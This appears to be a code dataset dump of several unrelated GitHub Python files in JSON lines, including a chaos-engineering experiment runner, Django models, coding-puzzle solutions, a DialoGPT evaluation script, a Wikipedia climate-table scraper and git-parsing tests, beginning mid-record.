event_handlers: List[RunEventHandler] = None,\n) -> Journal:\n \"\"\"\n Run the given `experiment` method step by step, in the following sequence:\n steady probe, action, close probe.\n\n Activities can be executed in background when they have the\n `\"background\"` property set to `true`. In that case, the activity is run in\n a thread. By the end of runs, those threads block until they are all\n complete.\n\n If the experiment has the `\"dry\"` property set to `activities`,the experiment\n runs without actually executing the activities.\n\n NOTE: Tricky to make a decision whether we should rollback when exiting\n abnormally (Ctrl-C, SIGTERM...). Afterall, there is a chance we actually\n cannot afford to rollback properly. Better bailing to a conservative\n approach. This means we swallow :exc:`KeyboardInterrupt` and\n :exc:`SystemExit` and do not bubble it back up to the caller. We when were\n interrupted, we set the `interrupted` flag of the result accordingly to\n notify the caller this was indeed not terminated properly.\n \"\"\"\n with Runner(strategy, schedule) as runner:\n if event_handlers:\n for h in event_handlers:\n runner.register_event_handler(h)\n return runner.run(experiment, settings, experiment_vars=experiment_vars)\n\n\ndef initialize_run_journal(experiment: Experiment) -> Journal:\n warn_about_moved_function(\n \"The 'initialize_run_journal' function has now moved to the \"\n \"'chaoslib.run' package\"\n )\n return init_journal(experiment)\n\n\ndef apply_activities(\n experiment: Experiment,\n configuration: Configuration,\n secrets: Secrets,\n pool: ThreadPoolExecutor,\n journal: Journal,\n dry: Dry,\n) -> List[Run]:\n warn_about_moved_function(\n \"The 'apply_activities' function has now moved to the \" \"'chaoslib.run' package\"\n )\n return apply_act(experiment, configuration, secrets, pool, journal, dry)\n\n\ndef apply_rollbacks(\n experiment: Experiment,\n configuration: Configuration,\n secrets: Secrets,\n pool: ThreadPoolExecutor,\n dry: Dry,\n) -> List[Run]:\n warn_about_moved_function(\n \"The 'apply_rollbacks' function has now moved to the \" \"'chaoslib.run' package\"\n )\n return apply_roll(experiment, configuration, secrets, pool, dry)\n","repo_name":"chaostoolkit/chaostoolkit-lib","sub_path":"chaoslib/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":6217,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"53"}
+{"seq_id":"22191188598","text":"from django.db import models\n\nfrom apps.content_pages.models import AbstractContent, AbstractContentPage\nfrom apps.content_pages.utilities import path_by_app_label_and_class_name\nfrom apps.core.mixins import FileCleanUpMixin\n\n\nclass Project(FileCleanUpMixin, AbstractContentPage):\n cleanup_fields = (\"image\",)\n image = models.ImageField(\n upload_to=path_by_app_label_and_class_name,\n verbose_name=\"Заглавная картинка\",\n )\n intro = models.TextField(\n max_length=200,\n verbose_name=\"Интро к проекту\",\n help_text=\"Короткое интро к проекту. Показывается в списке проектов с заголовком.\",\n )\n\n order = models.PositiveSmallIntegerField(\n default=0,\n blank=False,\n null=False,\n verbose_name=\"Порядок\",\n db_index=True,\n )\n\n def __str__(self):\n return f\"Проект {self.title}\"\n\n class Meta:\n ordering = (\"order\",)\n verbose_name = \"Проект\"\n verbose_name_plural = \"Проекты\"\n permissions = (\n (\"access_level_1\", \"Права журналиста\"),\n (\"access_level_2\", \"Права редактора\"),\n (\"access_level_3\", \"Права главреда\"),\n )\n\n\nclass ProjectContent(AbstractContent):\n \"\"\"Custom ContentPage model for Project models.\n\n It's required to set 'content_page' foreign key to concrete or proxy\n model.\n \"\"\"\n\n content_page = models.ForeignKey(\n Project,\n related_name=\"contents\",\n on_delete=models.CASCADE,\n verbose_name=\"Проект с конструктором\",\n )\n\n class Meta:\n verbose_name = \"Блок/элемент конструктора проекта\"\n verbose_name_plural = \"Блоки/элементы конструктора проектов\"\n ordering = (\"order\",)\n","repo_name":"Studio-Yandex-Practicum/Lubimovka_backend","sub_path":"apps/articles/models/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"53"}
+{"seq_id":"5144220093","text":"\"\"\"\nGiven an array of integers, return indices of the two numbers such that\nthey add up to specific target.\n\nYou may assume that each input would have exactly one solution, and\nyou may not use the same element twice.\n\nExample:\n Given nums = [2, 7, 11, 15], target = 9,\n Because nums[0] + nums[1] = 2 + 7 = 9\n return [0, 1]\n\"\"\"\n\n\ndef two_sum(nums, target):\n prev_map = {} # val : index\n\n for i, num in enumerate(nums):\n diff = target - num\n if diff in prev_map:\n return [prev_map[diff], i]\n prev_map[num] = i\n\n\nprint(two_sum([2, 7, 11, 15], 9))\nprint(two_sum([2, 1, 5, 3], 4))\n","repo_name":"pushpa66/Learn-data-structures-and-algorithms-in-python","sub_path":"75/Q1 Two Sum_HashMap_Leetcode 1.py","file_name":"Q1 Two Sum_HashMap_Leetcode 1.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29353953817","text":"import pathlib\nfrom setuptools import setup, find_packages\n\nHERE = pathlib.Path(__file__).parent\n\nREADME = (HERE / \"README.md\").read_text()\n\nsetup(\n name=\"recalibrate\",\n version=\"0.0.3\",\n description=\"Because everybody gets probabilities wrong\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/microprediction/recalibrate\",\n author=\"microprediction\",\n author_email=\"peter.cotton@microprediction.com\",\n license=\"MIT\",\n classifiers=[\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n ],\n packages=[\"recalibrate\",\"recalibrate.inclusion\"],\n test_suite='pytest',\n tests_require=['pytest','winning>=0.5.0','scikit-learn'],\n include_package_data=True,\n install_requires=['pandas','nevergrad','humpday','scikit-learn'],\n entry_points={\n \"console_scripts\": [\n \"recalibrate=recalibrate.__main__:main\",\n ]\n },\n)\n","repo_name":"microprediction/recalibrate","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29402591671","text":"import json\r\nimport os\r\nimport sys\r\nimport argparse\r\nimport logging\r\nimport time\r\nimport tqdm\r\nimport datetime\r\nimport torch\r\n\r\nimport numpy as np\r\n\r\nfrom os.path import join\r\nfrom torch.distributed import get_rank, get_world_size\r\n\r\nfrom lsp_model import GPT2LMHeadModel, GPT2Tokenizer, GPT2Config, Adam\r\nfrom gpt2_training.train_utils import load_model, boolean_string, set_lr, get_eval_list_same_length\r\nfrom gpt2_training.eval_utils import eval_model_loss\r\n\r\nfrom data_loader import BucketingDataLoader, DynamicBatchingLoader, DistributedBucketingDataLoader\r\n\r\n\r\nfrom gpt2_training.distributed import all_reduce_and_rescale_tensors, all_gather_list\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--model_name_or_path', type=str,default=\"./models/small\",\r\n help='pretrained model name or path to local checkpoint')\r\nparser.add_argument(\"--seed\", type=int, default=42)\r\nparser.add_argument(\"--max_seq_length\", type=int, default=128)\r\n\r\nparser.add_argument(\"--skip_eval\", action='store_true',\r\n help='If true, skip evaluation.')\r\nparser.add_argument(\"--init_checkpoint\", type=str)\r\nparser.add_argument(\"--train_input_file\", type=str)\r\nparser.add_argument(\"--eval_input_file\", type=str)\r\nparser.add_argument(\"--continue_from\", type=int, default=0)\r\n\r\nparser.add_argument(\"--train_batch_size\", type=int, default=4,\r\n help=\"batch size now means per GPU per step\")\r\nparser.add_argument(\"--gradient_accumulation_steps\", type=int, default=2,\r\n help=\"to increase effective batch size \"\r\n \"and reduce synchronization\")\r\nparser.add_argument(\"--eval_batch_size\", type=int, default=16)\r\nparser.add_argument(\"--learning_rate\", type=float, default=1e-5)\r\nparser.add_argument(\"--num_optim_steps\", type=int, default=1000000,\r\n help=\"new API specifies num update steps\")\r\nparser.add_argument(\"--valid_step\", type=int, default=10000,\r\n help=\"how many optim steps between validations\")\r\nparser.add_argument(\"--warmup_proportion\", type=float, default=0.1)\r\nparser.add_argument(\"--warmup_steps\", type=int, default=16000)\r\n\r\nparser.add_argument(\"--init_weights\", type=boolean_string, default=False)\r\nparser.add_argument(\"--normalize_data\", type=boolean_string, default=True)\r\nparser.add_argument(\"--fp16\", type=boolean_string, default=False)\r\nparser.add_argument(\"--lr_schedule\", type=str,\r\n choices=['noam', 'noamwd', 'BERT', 'None'], default='noam')\r\nparser.add_argument(\"--loss_scale\", type=float, default=0)\r\nparser.add_argument(\"--no_token_id\", type=boolean_string, default=True)\r\n\r\nparser.add_argument(\"--output_dir\", type=str)\r\nparser.add_argument(\"--log_dir\", type=str)\r\nparser.add_argument('--pbar', type=boolean_string, default=True, help='turn on progress bar')\r\n\r\n# distributed\r\nparser.add_argument('--local_rank', type=int, default=-1,\r\n help='for torch.distributed')\r\nparser.add_argument('--config', help='JSON config file')\r\n\r\n\r\n# do normal parsing\r\nargs = parser.parse_args()\r\n\r\n\r\n# prepare device\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\nn_gpu = torch.cuda.device_count()\r\nargs.device, args.n_gpu = device, n_gpu\r\n\r\n# Prepare tokenizer and config\r\nenc = GPT2Tokenizer.from_pretrained(args.model_name_or_path)\r\n\r\nconfig = GPT2Config.from_json_file(\r\n join(args.model_name_or_path, 'config.json'))\r\n\r\n\r\ndef evaluate_models_from(GPT_saved_models_folder, eval_file, enc, args):\r\n\t# Prepare eval data\r\n\teval_dataloader_loss = DynamicBatchingLoader(\r\n\t eval_file, enc, args.normalize_data,\r\n\t args.eval_batch_size, args.max_seq_length)\r\n\r\n\teval_dataloader_gen = get_eval_list_same_length(\r\n\t eval_file, enc, args.eval_batch_size, True)\r\n\t# read eval_loss log file\r\n\teval_loss_log_file = os.path.join(GPT_saved_models_folder, \"eval_log.txt\")\r\n\tmin_ckpt_old_perplexity = None\r\n\tmin_ckpt_new_perplexity = None\r\n\tmin_old_perplexity = 1000000.0\r\n\tmin_new_perplexity = 1000000.0\r\n\r\n\twith open(eval_loss_log_file, \"r\") as reader:\r\n\t\thead_row = next(reader)\r\n\t\tfor line in reader:\r\n\t\t\tline = line.strip()\r\n\t\t\tepoch, ckpt_no, _, loss, perplexity = line.split(\",\")\r\n\t\t\tepoch = int(epoch)\r\n\t\t\tckpt_no = int(ckpt_no) - 1\r\n\t\t\tloss = float(loss)\r\n\t\t\tperplexity = float(perplexity)\r\n\t\t\tprint(ckpt_no, loss, perplexity, end=\"\")\r\n\t\t\tif min_old_perplexity > perplexity:\r\n\t\t\t\tmin_old_perplexity = perplexity\r\n\t\t\t\tmin_ckpt_old_perplexity = ckpt_no\r\n\t\t\t# calculate new loss and perplexity\r\n\t\t\tmodel_filename = \"GP2-pretrain-step-{}.pkl\"\r\n\t\t\tmodel = load_model(GPT2LMHeadModel(config), os.path.join(GPT_saved_models_folder, model_filename.format(ckpt_no)), args, verbose=True)\r\n\t\t\teval_loss, eval_ppl = eval_model_loss(model, enc, eval_dataloader_loss, epoch, args)\r\n\t\t\tif min_new_perplexity > eval_ppl:\r\n\t\t\t\tmin_new_perplexity = eval_ppl\r\n\t\t\t\tmin_ckpt_new_perplexity = ckpt_no\r\n\tprint(\"Old best ckpt and perplexity:\", min_ckpt_old_perplexity, min_old_perplexity)\r\n\tprint(\"New best ckpt and perplexity:\", min_ckpt_new_perplexity, min_new_perplexity)\r\n\treturn min_ckpt_old_perplexity, min_old_perplexity, min_ckpt_new_perplexity, min_new_perplexity\r\ngpt_ss_models = os.path.join(\"models\", \"ss\", \"GPT2.5e-05.32.1gpu.2019-11-09173601\")\r\ngpt_ss_plus_models = os.path.join(\"models\", \"ss_plus\", \"GPT2.5e-05.16.1gpu.2019-11-09230759\")\r\ngpt_ss_sm_models = os.path.join(\"models\", \"ss_finetune\", \"GPT2.1e-05.32.1gpu.2019-11-08165243\")\r\ngpt_ss_plus_sm_models = os.path.join(\"models\", \"ss_plus_finetune\", \"GPT2.1e-05.16.1gpu.2019-11-08181917\")\r\ngpt_ss_oqa_models = os.path.join(\"models\", \"ss_finetune_opensub_qa\", \"GPT2.1e-05.32.1gpu.2019-11-15124331\")\r\ngpt_ss_plus_oqa_models = os.path.join(\"models\", \"ss_plus_finetune_opensub_qa\", \"GPT2.1e-05.16.1gpu.2019-11-15123950\")\r\n\r\ngpt_model_folders = [gpt_ss_models, gpt_ss_plus_models, gpt_ss_sm_models, gpt_ss_plus_sm_models, gpt_ss_oqa_models, gpt_ss_plus_oqa_models]\r\n\r\neval_analysis_file = \"new_eval_analysis.txt\"\r\nwith open(eval_analysis_file, \"w\") as writer:\r\n\t# first eval file\r\n\teval_file = os.path.join(\"data\", \"mturk_gold_val_file_removed_conflicts_with_ss_train.txt\")\r\n\tprint(\"Eval file:{}\\n\".format(eval_file))\r\n\twriter.write(\"Eval file:{}\\n\".format(eval_file))\r\n\tfor gpt_folder in gpt_model_folders:\r\n\t\tprint(gpt_folder)\r\n\t\tmin_ckpt_old_perplexity, min_old_perplexity, min_ckpt_new_perplexity, min_new_perplexity = evaluate_models_from(gpt_folder, eval_file, enc, args)\r\n\t\twriter.write(\"{}:\\n\".format(gpt_folder))\r\n\t\twriter.write(\"{},{},{},{}\\n\\n\".format(min_ckpt_old_perplexity, min_old_perplexity, min_ckpt_new_perplexity, min_new_perplexity))\r\n\t\twriter.flush()\r\n\t\tprint()\r\n\t# Second eval file\r\n\teval_file = os.path.join(\"data\", \"mturk_gold_val_file.txt\")\r\n\tprint(\"\\nEval file:{}\\n\".format(eval_file))\r\n\twriter.write(\"\\nEval file:{}\\n\".format(eval_file))\r\n\tfor gpt_folder in gpt_model_folders:\r\n\t\tprint(gpt_folder)\r\n\t\tmin_ckpt_old_perplexity, min_old_perplexity, min_ckpt_new_perplexity, min_new_perplexity = evaluate_models_from(gpt_folder, eval_file, enc, args)\r\n\t\twriter.write(\"{}:\\n\".format(gpt_folder))\r\n\t\twriter.write(\"{},{},{},{}\\n\\n\".format(min_ckpt_old_perplexity, min_old_perplexity, min_ckpt_new_perplexity, min_new_perplexity))\r\n\t\twriter.flush()\r\n\t\tprint()\r\n\r\n","repo_name":"abaheti95/QADialogSystem","sub_path":"DialoGPT/Evaluate_dialoGPT_model_on_different_val_files.py","file_name":"Evaluate_dialoGPT_model_on_different_val_files.py","file_ext":"py","file_size_in_byte":7221,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"}
+{"seq_id":"16113873413","text":"# this has been moved to augment_with_wiki.py\nimport re, sys, pickle, argparse, logging\nfrom urllib.parse import urlparse, quote, unquote\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport requests\nfrom meteomap.utils import open, ask_before_overwrite, Timer, configure_logging\n\nlogger = logging.getLogger(__name__)\nlogger.critical('this file is deprecated')\n\n\ndef get_first_number(x):\n try:\n if x == 'trace' or x == '-':\n return 0.\n match = re.search('^([\\d,.-]+)[\\s]*[(][^)]*[)]', x).group(1)\n match = match.replace(',', '')\n return float(match)\n except Exception:\n logger.warning('not able to parse \"%s\", returning 0.', x)\n return 0.\n\n\ndef get_second_number(x):\n \"\"\" actually gets the number in the parentheses \"\"\"\n try:\n if x == 'trace' or x == '-':\n return 0.\n match = re.search('[(][\\d,.-]+[)]', x).group()\n match = match.replace(',', '') # comma for thousands\n return float(match[1:-1])\n except Exception:\n logger.warning('not able to parse \"%s\", returning 0.', x)\n return 0.\n\n\nROW_PARSERS = {\n 'record high °c (°f)': ('recordHigh', get_first_number),\n 'record high °f (°c)': ('recordHigh', get_second_number),\n 'avg high °c (°f)': ('avgHigh', get_first_number),\n 'avg high °f (°c)': ('avgHigh', get_second_number),\n 'daily mean °c (°f)': ('avg', get_first_number),\n 'daily mean °f (°c)': ('avg', get_second_number),\n 'avg low °c (°f)': ('avgLow', get_first_number),\n 'avg low °f (°c)': ('avgLow', get_second_number),\n 'record low °c (°f)': ('recordLow', get_first_number),\n 'record low °f (°c)': ('recordLow', get_second_number),\n\n 'mean monthly sunshine hours': ('monthlySunHours', float),\n # TODO this is redundant. somes cities like Perth have both but IMHO it's a\n # bit stupid...\n 'mean daily sunshine hours': ('dailySunHours', float),\n\n 'avg precipitation days': ('precipitationDays', float),\n 'avg precipitation mm (inches)': ('precipitation', get_first_number),\n 'avg precipitation inches (mm)': ('precipitation', get_second_number),\n 'avg precipitation cm (inches)': ('precipitation',\n lambda x: get_second_number(x) * 100.),\n\n 'avg rainy days': ('rainDays', float),\n 'avg rainfall mm (inches)' : ('rain', get_first_number),\n 'avg rainfall inches (mm)' : ('rain', get_second_number),\n\n 'avg snowy days': ('snowDays', float),\n 'avg snowfall cm (inches)': ('snow', get_first_number),\n 'avg snowfall inches (cm)': ('snow', get_second_number),\n\n 'record high humidex': ('humidex', float),\n 'record low wind chill': ('chill', float),\n 'percent possible sunshine': ('percentSun', float),\n 'avg relative humidity (%) (at : lst)': ('humidity', float),\n 'avg relative humidity (%)': ('humidity', float),\n}\n\nPROPERTY = 'http://dbpedia.org/property/'\nONTOLOGY = 'http://dbpedia.org/ontology/'\n\nPOP_KEYS = [\n ONTOLOGY + 'populationTotal',\n PROPERTY + 'population',\n PROPERTY + 'populationCity',\n ONTOLOGY + 'populationUrban',\n PROPERTY + 'populationUrban',\n ONTOLOGY + 'populationMetro',\n PROPERTY + 'populationTotal',\n PROPERTY + 'populationMetro',\n PROPERTY + 'metroPopulation',\n PROPERTY + 'populationEst',\n PROPERTY + 'populationBlank',\n PROPERTY + 'populationBlank1Name',\n ONTOLOGY + 'populationRural',\n PROPERTY + 'populationRural',\n]\n\n\ndef parse_climate_table(html):\n \"\"\" returns somethings like\n {'average temp C (F)' : ['12 (13)', ..., '12 (13)']\n ... }\n \"\"\"\n bs = BeautifulSoup(html)\n months = bs.find_all('th', text=re.compile(r'[\\s]*Month[\\s]*'))\n\n # if there is nothing, it means there were no climate table in that html\n # code\n if len(months) < 1:\n return None\n\n if len(months) > 1:\n logger.debug('more than one matching table in html, using the first one')\n table = months[0].parent.parent\n data = {}\n for tr in table.find_all('tr'):\n ths = tr.find_all(['th','td'])\n if len(ths) != 1 + 12 + 1:\n continue\n title = ths[0].get_text().strip()\n if title == 'Month':\n continue\n data[title] = [ths[i].get_text().strip()\n .replace('−', '-').replace('—', '-')\n for i in range(1,13)]\n return data\n\n\ndef parse_data(climate_data):\n \"\"\" refines again the output of parse_climate_table(...) \"\"\"\n out = {}\n for title, data in climate_data.items():\n title = ''.join(c for c in title if not c.isdigit()).lower()\n title = title.replace('.', '') \\\n .replace('average', 'avg') \\\n .replace(' ', ' ') # weird space to normal space\n regex = re.compile(' days [(].*[)]')\n title = regex.sub(' days', title)\n\n try:\n key, parse_fn = ROW_PARSERS[title]\n except KeyError:\n logger.warning('no parser for key \"%s\"', title)\n continue\n # each thing should be there only once!\n assert key not in out\n try:\n out[key] = [parse_fn(x) for x in data]\n except ValueError:\n logger.warning('not able to parse one of those values \"%s\" for \"%s\"',\n data, title)\n continue\n return out\n\n\ndef parse_population(infos):\n \"\"\" goes into the infos of a city and deduces the population of the city\n \"\"\"\n for pop_key in POP_KEYS:\n if pop_key in infos:\n # we take the maximum in the group of the first key we find\n # RENDU ICI TODO tester ca voir si le max fait qu'on a pas des\n # populations de 40 oui 27, qui etait le rank\n # FIXME remove above comment when done\n return max(float(x) for x in infos[pop_key])\n return None\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description='augments the data form dbpedia with data from wikipedia'\n ' directly, like population/elevation/climate')\n parser.add_argument('input_file', help='dbpedia dump')\n parser.add_argument('output_file',\n help='file where to dump the augmented data')\n parser.add_argument('--max-cities', '-m', type=int)\n parser.add_argument('--min-pop', default=1e6, help='minimum population to'\n ' keep the city (if there are multiple population'\n ' fields, we keep the maximum)', type=int)\n args = parser.parse_args()\n\n configure_logging()\n\n dump_in = pickle.load(open(args.input_file))\n\n if True or ask_before_overwrite(args.output_file):\n dump_out = open(args.output_file, 'w')\n else:\n sys.exit()\n\n timer = Timer(len(dump_in))\n new_data = {}\n nb_no_climate = 0\n nb_coords_from_wiki = 0\n nb_coords_from_dbpedia = 0\n for i, (city, infos) in enumerate(dump_in.items()):\n timer.update(i)\n if args.max_cities is not None and i+1 > args.max_cities:\n break\n logger.debug(city)\n # parsing population\n pop = parse_population(infos)\n if pop < args.min_pop:\n continue\n\n wikiurl = urlparse('http://' + infos['source'])\n wikiurl = urlopen(wikiurl.netloc + quote(wikiurl.path))\n\n # title in the wikipedia sense\n title = unquote(wikiurl.geturl()).split('/')[-1].replace('_', ' ')\n\n if 'name' in infos:\n name = infos['name']\n else:\n # patate_,chose -> patate\n name = title.split(',')[0].strip()\n\n # lat long and name from wikipedia, while we're at it\n result = requests.get('http://en.wikipedia.org/w/api.php', params=dict(\n action='query',\n prop='coordinates',\n titles=title,\n colimit=1,\n format='json')).json()\n wikiapi_data = result['query']\n assert len(wikiapi_data) == 1\n wikiapi_data = wikiapi_data['pages']\n assert len(wikiapi_data) == 1\n wikiapi_data = next(iter(wikiapi_data.values()))\n name = wikiapi_data['title']\n # if the coordinates were returned by the API\n if 'coordinates' in wikiapi_data:\n coords = wikiapi_data['coordinates']\n assert len(coords) == 1\n lat = coords[0]['lat']\n lon = coords[0]['lon']\n nb_coords_from_wiki += 1\n # if not, sometimes the coordinates are somewhere else and dbpedia\n # picked them up\n else:\n lat = float(infos['lat'])\n lon = float(infos['long'])\n nb_coords_from_dbpedia += 1\n logger.debug('%s : (%f, %f)', name, lat, lon)\n\n if pop is None:\n # logger.debug('no pop for', city)\n # logger.debug(infos)\n continue\n\n # TODO\n # parse the elevation. it might already be in the dump.gz\n # the code is in obsolete parse_dbpedia_dump.py\n\n html = wikiurl.read()\n data = parse_climate_table(html)\n if data is None:\n nb_no_climate += 1\n # logger.debug('no climate for %s', city)\n continue\n\n parsed_data = parse_data(data)\n new_data[city] = {'population': pop,\n 'source': wikiurl.geturl(),\n 'lat': lat, # float(infos['lat']),\n 'long': lon, # float(infos['long']),\n 'name': name,\n 'month_stats': parsed_data}\n\n logger.info('parsed %i cities', len(new_data))\n logger.info('got %i coordinates from the wikipedia API',\n nb_coords_from_wiki)\n logger.info('got %i coordinates from dbpedia',\n nb_coords_from_dbpedia)\n pickle.dump(new_data, dump_out)\n","repo_name":"simlmx/meteomap","sub_path":"meteomap/parse_and_augment_dump.py","file_name":"parse_and_augment_dump.py","file_ext":"py","file_size_in_byte":9828,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"26628483442","text":"\nfrom datetime import datetime\nimport dateutil.parser\n\nfrom githistorydata.commitdetail import CommitDetail\nfrom githistorydata.filechanges import FileChanges\nfrom githistorydata.git import Git\nfrom githistorydata.logline import LogLine\n\nfrom tests.fakegit import FakeGit\n\nimport unittest\n\n\nclass TestGitParsing(unittest.TestCase):\n def test__Log_lines_are_parsed(self):\n git = Git( FakeGit( \"\"\"\n64c5da790fb7edef4f99053497075839d11bb6d8 2015-07-09 12:00:00 +0100 Alban Tsui\n2993dbf67c7e0659eba13987c98c5a03aade7099 2015-10-31 12:15:27 +0100 Lennart Tange\nc504bd352d5d9dd0ccec3cd601ac02b14f4982a8 2015-07-09 12:00:00 -0200 Alban Tsui\n\"\"\" ) )\n\n off1 = dateutil.tz.tzoffset( \"tz\", 60*60 ) # +0100\n off2 = dateutil.tz.tzoffset( \"tz\", -2*60*60 ) # -0200\n\n self.assertEqual(\n [\n LogLine(\n \"64c5da790fb7edef4f99053497075839d11bb6d8\",\n datetime( 2015, 7, 9, 12, 0, 0, 0, off1 ),\n \"Alban Tsui\"\n ),\n LogLine(\n \"2993dbf67c7e0659eba13987c98c5a03aade7099\",\n datetime( 2015, 10, 31, 12, 15, 27, 0, off1 ),\n \"Lennart Tange\"\n ),\n LogLine(\n \"c504bd352d5d9dd0ccec3cd601ac02b14f4982a8\",\n datetime( 2015, 7, 9, 12, 0, 0, 0, off2 ),\n \"Alban Tsui\"\n )\n ],\n git.log()\n )\n\n\n def test__FileChanges_to_string(self):\n self.assertEqual( \"+3 -2 foo.txt\", str( FileChanges( 3, 2, \"foo.txt\" ) ) )\n\n\n def test__CommitDetail_to_string(self):\n self.assertEqual(\n \"\"\"myhash dt auth\n +1 -0 x.cpp\n +3 -2 y.cpp\"\"\",\n str( CommitDetail(\n \"myhash\",\n \"dt\",\n \"auth\",\n [\n FileChanges( 1, 0, \"x.cpp\" ),\n FileChanges( 3, 2, \"y.cpp\" ),\n ]\n ) )\n )\n\n\n def test__Numstat_lines_are_parsed(self):\n git = Git( FakeGit( \"\"\"2993dbf Lennart Tange \"More generic dnd helper.\"\n71 0 scripts/drag_and_drop_helper.js\n0 66 scripts/dragdrop_pin_to_assemble.js\n23 16 src/step_definitions/StepDef.java\n\"\"\" ) )\n\n self.assertEqual(\n str( CommitDetail(\n \"2993bdfAAAAAAAAAAAA\",\n \"dt\",\n \"auth\",\n [\n FileChanges( 71, 0, \"scripts/drag_and_drop_helper.js\" ),\n FileChanges( 0, 66, \"scripts/dragdrop_pin_to_assemble.js\" ),\n FileChanges( 23, 16, \"src/step_definitions/StepDef.java\" ),\n ]\n ) ),\n str( git.show( \"2993bdfAAAAAAAAAAAA\", \"dt\", \"auth\" ) )\n )\n","repo_name":"andybalaam/git-history-data","sub_path":"tests/test__git_parsing.py","file_name":"test__git_parsing.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"53"}
+{"seq_id":"14610308608","text":"height = 5; i=1\nd = False\nwhile (i>=1) :\n for j in range(height-i) :\n print(' ', end='')\n print('*', '-'*(i-1), sep='')\n if (i > height/2) : d = True\n i = i-1 if d else i+1\n\na = []\na.append(10)\na.append(20)\na.append(30)\nprint(a)\na.append([100, 200])\nprint(a)\na = [0, 1, 2]\nfor i in a:\n print(i)\n if i == 0 : a.append(3)\n print(i)\n","repo_name":"AhnYeonghoo/TIL","sub_path":"Python/pract.py","file_name":"pract.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27052295630","text":"from dq0.sdk.data.metadata.interface.dataset.attributes_group import AttributesGroup\nfrom dq0.sdk.data.metadata.specification.default_permissions import DefaultPermissions\nfrom dq0.sdk.data.metadata.structure.attribute.attribute_type import AttributeType\n\n\nclass AttributesColumnPrivateSynthesis(AttributesGroup):\n def __init__(self, column, attribute_list=None):\n super().__init__(key='private_synthesis',\n permissions=DefaultPermissions.owner_attribute(role_uuids=column.get_role_uuids()),\n entity=column,\n attribute_list=attribute_list)\n\n # discrete\n @property\n def discrete(self):\n return self.get_attribute_value(key='discrete')\n\n @discrete.setter\n def discrete(self, new_discrete):\n if self.get_entity().get_data_type_name() in ['boolean', 'datetime', 'int', 'string']:\n raise Exception(f\"data_type_name {self.get_entity().get_data_type_name()} does not allow discrete\")\n self.set_attribute_value(type_name=AttributeType.TYPE_NAME_BOOLEAN,\n key='discrete',\n value=new_discrete,\n permissions=DefaultPermissions.owner_attribute(role_uuids=self.get_role_uuids()))\n\n @discrete.deleter\n def discrete(self):\n self.delete_attribute(key='discrete')\n\n # min_step\n @property\n def min_step(self):\n return self.get_attribute_value(key='min_step')\n\n @min_step.setter\n def min_step(self, new_min_step):\n if self.get_entity().get_data_type_name() in ['boolean', 'datetime', 'string']:\n raise Exception(f\"data_type_name {self.get_entity().get_data_type_name()} does not allow min_step\")\n if self.get_entity().get_data_type_name() not in [AttributeType.TYPE_NAME_FLOAT, AttributeType.TYPE_NAME_INT]:\n raise Exception(f\"data_type_name {self.get_entity().get_data_type_name()} does not match any allowed attribute type_name\")\n self.set_attribute_value(type_name=self.get_entity().get_data_type_name(),\n key='min_step',\n value=new_min_step,\n permissions=DefaultPermissions.owner_attribute(role_uuids=self.get_role_uuids()))\n\n @min_step.deleter\n def min_step(self):\n self.delete_attribute(key='min_step')\n\n # synthesizable\n @property\n def synthesizable(self):\n return self.get_attribute_value(key='synthesizable')\n\n @synthesizable.setter\n def synthesizable(self, new_synthesizable):\n self.set_attribute_value(type_name=AttributeType.TYPE_NAME_BOOLEAN,\n key='synthesizable',\n value=new_synthesizable,\n permissions=DefaultPermissions.owner_attribute(role_uuids=self.get_role_uuids()))\n\n @synthesizable.deleter\n def synthesizable(self):\n self.delete_attribute(key='synthesizable')\n","repo_name":"gradientzero/dq0-sdk","sub_path":"dq0/sdk/data/metadata/interface/dataset/v1/column/attributes_column_private_synthesis.py","file_name":"attributes_column_private_synthesis.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"16725934497","text":"import sys\r\n\r\ninput = sys.stdin.readline\r\nN = int(input())\r\nans = sys.maxsize\r\nhouse = []\r\nfor _ in range(N):\r\n house.append(list(map(int, input().split())))\r\ndp = [[0] * 3 for _ in range(N)]\r\nfor i in range(3):\r\n dp[0][i] = house[0][i]\r\n\r\nfor j in range(1, N):\r\n\r\n dp[j][0] = house[j][0] + min(dp[j - 1][1], dp[j - 1][2])\r\n dp[j][1] = house[j][1] + min(dp[j - 1][0], dp[j - 1][2])\r\n dp[j][2] = house[j][2] + min(dp[j - 1][0], dp[j - 1][1])\r\n\r\nans = min(dp[N - 1][0], dp[N - 1][1], dp[N - 1][2])\r\nprint(ans)","repo_name":"bshello/Algo","sub_path":"백준/Silver/1149. RGB거리/RGB거리.py","file_name":"RGB거리.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
